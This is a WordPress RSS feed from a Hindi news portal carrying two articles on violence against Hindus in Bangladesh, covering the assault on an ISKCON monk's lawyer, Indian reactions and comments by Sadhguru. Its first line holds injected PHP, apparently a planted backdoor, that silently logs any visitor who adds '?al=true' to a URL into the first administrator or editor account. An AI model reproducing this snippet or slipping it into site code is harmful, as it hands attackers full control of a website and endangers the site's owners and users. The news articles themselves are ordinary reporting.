// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Bangladesh violence – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Tue, 03 Dec 2024 12:36:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 बांग्लादेश में ISKCON संत के वकील पर हमला, त्रिपुरा में उबाल https://pratyushaashakinayikiran.com/?p=105707 Tue, 03 Dec 2024 12:36:00 +0000 https://pratyushaashakinayikiran.com/?p=105707 कोलकाता
बांग्लादेश में हिंदू धर्मगुरु चिन्मय कृष्ण दास प्रभु के मामले की लड़ाई लड़ रहे वकील रमन राय पर हमला हुआ है। गंभीर हालत में उन्हें अस्पताल में भर्ती कराया गया है। इस्कॉन कोलकाता के प्रवक्ता राधारमण दास ने सोमवार को यह दावा किया।
वकील रमन राय के लिए प्रार्थना करने की अपील

दास ने इंटरनेट मीडिया प्लेटफार्म एक्स पर की गई एक पोस्ट में लिखा, ''कृपया वकील रमन राय के लिए प्रार्थना करें। उनकी केवल यही गलती थी कि उन्होंने अदालत में चिन्मय कृष्ण प्रभु का बचाव किया। इस्लामी कट्टरपंथियों ने उनके घर में तोड़फोड़ की और उन पर गंभीर हमला कर उन्हें आइसीयू में पहुंचा दिया, जहां वह अपनी जिंदगी के लिए संघर्ष कर रहे हैं।''

एक बंगाली चैनल से चर्चा में दास ने बताया कि यह घटना बांग्लादेश में धार्मिक अल्पसंख्यकों के अधिकारों की वकालत करने वालों पर बढ़ते खतरों को बताती है। गौरतलब है कि बीते 25 नवंबर को चिन्मय दास को बांग्लादेश में गिरफ्तार किया गया था और मंगलवार को अदालत ने उनकी जमानत खारिज करते हुए जेल भेज दिया था।
भारतीय दस्तावेज के साथ 29 बांग्लादेशी धरे

मणिपुर के सीएम एन बीरेन सिंह ने बताया कि 29 संदिग्ध बांग्लादेशियों को इंफाल पश्चिम जिले से पकड़ा गया है और उनके पास से असम में जारी हुए आधार कार्ड बरामद किए गए हैं। एक गुप्त सूचना के बाद सोमवार को पुलिस ने बेकरी में काम कर रहे लोगों को धरा गया।
बांग्लादेश सांप्रदायिक गतिविधियों को बर्दाश्त नहीं करेगा

एएनआइ के अनुसार बांग्लादेश के विदेश सलाहाकर मोहम्मद तौहीद हुसैन ने बताया कि यह सरकार सभी को साफ बताना चाहती है कि वो किसी भी तरह की सांप्रदायिक गतिविधि को बर्दाश्त नहीं करेगी। सरकार हिंदू और मुस्लिम को एक बराबर देखती है। कानून अपने हिसाब से काम करेगा। अगर कोई गड़बड़ी करता है, तो उसके खिलाफ कड़ी कार्रवाई की जाएगी।
मांट्रियल में प्रदर्शन

कनाडा में बांग्लादेशी हिंदुओं ने इस्कॉन बांग्लादेश के समर्थन में प्रदर्शन किया। उन्होंने सरकार से अंतरिम बांग्लादेशी सरकार से उनके यहां अल्पसंख्यकों के अधिकारों के प्रति सम्मान की मांग की। उन्होंने एकजुटता, शांति और न्याय की मांग की। वहां पर कट्टरपंथियों को खुला छोड़ दिया गया है और वो हर जगह कब्जा कर रहे हैं।
बांग्लादेश के साथ व्यापार बंद करने का एला

आइएएनएस के अनुसार असम के श्रीभूमि जिले के कम से कम 500 व्यापारियों ने घोषणा की है कि वे बांग्लादेश के साथ आयात-निर्यात नहीं करेंगे। करीमगंज जिला आयात-निर्यात समन्वय समिति के अमरेश राय ने कहा कि वे बांग्लादेश में इसाइयों और हिंदुओं के साथ धार्मिक अल्पसंख्यकों के खिलाफ हिंसा का विरोध करते हैं।

संयुक्त रूप से फैसला लिया गया है कि बांग्लादेश में हालात सामान्य होने तक व्यापार नहीं किया जाएगा।
बांग्लादेशी अल्पसंख्यक आयोग ने जताई चिंता

बांग्लादेशी हिंदू बौद्ध इसाई एकता परिषद ने चिट्टागोंग में 70 अल्पसंख्यक वकीलों और दो पत्रकारों पर लगाए गए झूठे और परेशान करने वाले मामलों को दर्ज किए जाने पर चिंता जताई है। बीते 30 नवंबर को कोतवाली पुलिस थाने में देसी बम विस्फोट और वाहनों को नष्ट किए जाने के मामले पर रिपोर्ट दर्ज की थी।

 

]]>
‘बांग्लादेश में हिंदुओं हो रहे अत्याचारों को दर्ज करना उतना ही जरूरी…’, बोले सदगुरु https://pratyushaashakinayikiran.com/?p=60042 Tue, 13 Aug 2024 11:46:00 +0000 https://pratyushaashakinayikiran.com/?p=60042 नईदिल्ली

बांग्लादेश में तख्तापलट और शेख हसीना के देश छोड़ने के बाद भी हालात सुधरने और अल्पसंख्यकों के खिलाफ हो रही हिंसा थमने का नाम नहीं ले रहा है. अब आध्यात्मिक गुरु सद्गुरु ने बांग्लादेश में हिंदुओं की हालत पर प्रतिक्रिया दी है और कहा कि इस घृणित हिंसा को तुरंत रोकना चाहिए. उन्होंने कहा कि हाल के समय में जो बॉर्डर (सीमाएं) खींची गई हैं, वो निरपेक्ष नहीं हैं.

उन्होंने बांग्लादेश में हो रहीं हिंसा पर तीखी प्रतिक्रिया देते हुए कहा, "बांग्लादेश में घिनौने अत्याचारों पर तत्काल रोक लगाना अत्यंत महत्वपूर्ण है, लेकिन इन अत्याचारों को विस्तार से दस्तावेज करना भी उतना ही महत्वपूर्ण है. हाल के समय में खींची गई राष्ट्रीय सीमाएं निरपेक्ष नहीं हैं. सांस्कृतिक संबंध और सभ्यतागत जुड़ाव कहीं अधिक महत्वपूर्ण है. भारत को सिर्फ सीमा की तर्कसंगतता से नहीं बंधना चाहिए, बल्कि 75 वर्ष से अधिक पुरानी सभ्यता की व्यापक वास्तविकताओं से बंधना चाहिए."

'अल्पसंख्यकों की सुरक्षा है पहला बहुसंख्यक का कर्तव्य'

वहीं, बांग्लादेश की अंतरिम सरकार के गृह मामलों के सलाहकार ब्रिगेडियर जनरल (सेवानिवृत्त) एम सखावत हुसैन ने सोमवार को अल्पसंख्यकों के साथ हो रही हिंसा पर बोलते हुए कहा, 'हमने निर्देश दिया है. हमारे अल्पसंख्यक भाइयों की सुरक्षा करना बहुसंख्यक समुदाय का सबसे पहला कर्तव्य है. अगर वे ऐसा नहीं करते हैं और इसके बजाय मस्जिद में नमाज पढ़ने में व्यस्त रहते हैं तो उन्हें जवाब देना होगा कि वे सुरक्षा प्रदान करने में विफल क्यों रहे.'

उन्होंने यह भी कहा कि प्रदर्शनकारियों से हाल की हिंसा के दौरान कानून लागू करने वालों से लूटी गई राइफलों सहित सभी अवैध और अनधिकृत आग्नेयास्त्रों को 19 अगस्त तक आत्मसमर्पण करने निर्देश दिया है.

'हिंसा में मारे गए 500 लोग'

द डेली स्टार अखबार की रिपोर्ट के अनुसार, हुसैन ने कहा कि अगर वे हथियार नजदीकी पुलिस स्टेशनों को वापस नहीं किए गए तो अधिकारी तलाशी लेंगे और अगर किसी के पास अनधिकृत हथियार जाते हैं तो उनके खिलाफ आरोप दर्ज किए जाएंगे. हुसैन ने कहा कि विरोध प्रदर्शन के दौरान छात्रों सहित लगभग 500 लोग मारे गए और कई हजार अन्य घायल हो गए.

उन्होंने कहा, "वीडियो में एक युवक को 7.62 मिमी राइफल लेते हुए देखा गया था. इसका मतलब है कि राइफल वापस नहीं की गई. यदि आपने (डर के कारण) हथियार नहीं सौंपे तो किसी और के माध्यम से हथियार सौंप दें."

आपको बता दें कि बांग्लादेश में नौकरियों में विवादास्पद कोटा प्रणाली को लेकर अपनी सरकार के खिलाफ हिंसक विरोध प्रदर्शन के बाद शेख हसीना ने पिछले हफ्ते इस्तीफा दे दिया और देश को उथल-पुथल में देश छोड़कर भारत चली गईं.

 

]]>